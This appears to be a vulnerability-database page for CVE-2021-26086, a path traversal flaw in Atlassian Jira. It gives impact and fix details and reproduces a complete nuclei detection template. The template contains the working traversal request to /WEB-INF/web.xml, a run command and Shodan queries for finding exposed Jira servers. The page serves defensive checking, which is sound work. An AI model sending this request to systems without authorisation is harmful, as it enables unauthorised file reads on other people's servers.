HexBrain

Browse / CVEs / CVE-2021-26086

CVE-2021-26086· atlassian / jira data center· CWE-22

Atlassian Jira Limited - Local File Inclusion

Exploited in the wild. Listed by CISA on 2024-11-12; known to be used by ransomware.

mediumseverity
5.3CVSS score
100%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Affected versions of Atlassian Jira Limited Server and Data Center are vulnerable to local file inclusion because they allow remote attackers to read particular files via a path traversal vulnerability in the /WEB-INF/web.xml endpoint.

Impact

This vulnerability can result in unauthorized access to sensitive files and data, as well as potential remote code execution, leading to a complete compromise of the affected system.

Fix

Apply the latest security patches and updates provided by Atlassian to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/s/{{randstr}}/_/;/WEB-INF/web.xml
Positive when: contains "<web-app" and "</web-app>" AND status 200

Run it with nuclei: nuclei -id CVE-2021-26086 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-26086

info:
  name: Atlassian Jira Limited - Local File Inclusion
  author: cocxanh
  severity: medium
  description: Affected versions of Atlassian Jira Limited Server and Data Center are vulnerable to local file inclusion because they allow remote attackers to read particular files via a path traversal vulnerability in the /WEB-INF/web.xml endpoint.
  impact: |
    This vulnerability can result in unauthorized access to sensitive files and data, as well as potential remote code execution, leading to a complete compromise of the affected system.
  remediation: |
    Apply the latest security patches and updates provided by Atlassian to mitigate this vulnerability.
  reference:
    - https://jira.atlassian.com/browse/JRASERVER-72695
    - http://packetstormsecurity.com/files/164405/Atlassian-Jira-Server-Data-Center-8.4.0-File-Read.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-26086
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/Jeromeyoung/CVE-2021-26086
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-26086
    cwe-id: CWE-22
    epss-score: 0.99999
    epss-percentile: 0.99992
    cpe: cpe:2.3:a:atlassian:jira_data_center:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: atlassian
    product: jira_data_center
    shodan-query:
      - http.component:"Atlassian Jira"
      - http.component:"atlassian jira"
  tags: cve2021,cve,lfi,packetstorm,jira,intrusive,atlassian,kev,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/s/{{randstr}}/_/;/WEB-INF/web.xml"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - <web-app
          - </web-app>
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from